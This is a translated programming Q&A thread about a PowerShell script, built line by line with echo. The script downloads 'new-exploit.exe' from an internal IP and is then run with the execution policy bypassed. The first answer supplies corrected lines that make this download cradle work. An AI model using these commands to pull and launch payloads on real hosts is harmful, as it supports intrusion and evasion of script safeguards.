我的Powershell脚本不下载文件并提供空值表达式错误

时间:2018-01-26 08:40:24

标签: powershell

以下是我从远程机器下载文件的powershell脚本:

Powershell控制台:

C:\Users\XXX> echo $storageDir = $pwd > wget.ps1
C:\Users\XXX> echo $webclient = New-Object System.Net.WebClient >> wget.ps1
C:\Users\XXX> echo $url = "http://172.16.3.89/new-exploit.exe" >> wget.ps1
C:\Users\XXX> echo $file = "new-exploit.exe" >> wget.ps1
C:\Users\XXX> echo $webclient.DownloadFile($url,$file) >> wget.ps1

最后一行给出以下错误:

输出:

You cannot call a method on a null-valued expression.
At line:1 char:29
* echo $webclient.DownloadFile <<<<< ($url,$file) >> wget.ps1
*CategoryInfo : InvalidOperation: (DownloadFile:String [], RuntimeException
*FullyQualifiedErrorId : InvokeMethodOnNull

如果我处理最后一行,我可以使用以下命令在powershell中下载文件:

Powershell控制台:

C:\Users\XXX> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -
NoProfile -File wget.ps1

如何解决$ webclient“null-valued表达式”问题?你有什么想法吗?

2 个答案:

答案 0 :(得分:1)

您不是在输出文件中按原样编写行,它们正在被解释和执行。

例如,第1行写入wget.ps1 3件事:变量$storageDir的值,等号和变量$pwd的值。指示的空值表达式是$webclient变量,当您执行第5行时,它确实被计算为null。

为了达到你的意思,你应该把每一行的内容单引号:

echo '$storageDir = $pwd' > wget.ps1
echo '$webclient = New-Object System.Net.WebClient' >> wget.ps1
echo '$url = "http://172.16.3.89/new-exploit.exe"' >> wget.ps1
echo '$file = "new-exploit.exe"' >> wget.ps1
echo '$webclient.DownloadFile($url,$file)' >> wget.ps1

答案 1 :(得分:0)

我真的不明白你想要做什么但是为了下载文件你可以使用这个片段作为参考:

$downloadPath = "http://ipv4.download.thinkbroadband.com/5MB.zip"
$storageDir = "$PSScriptRoot\5mb.zip"
(New-Object System.Net.WebClient).DownloadFile($downloadPath, $storageDir)

来源: https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell

希望这有帮助!

格尔茨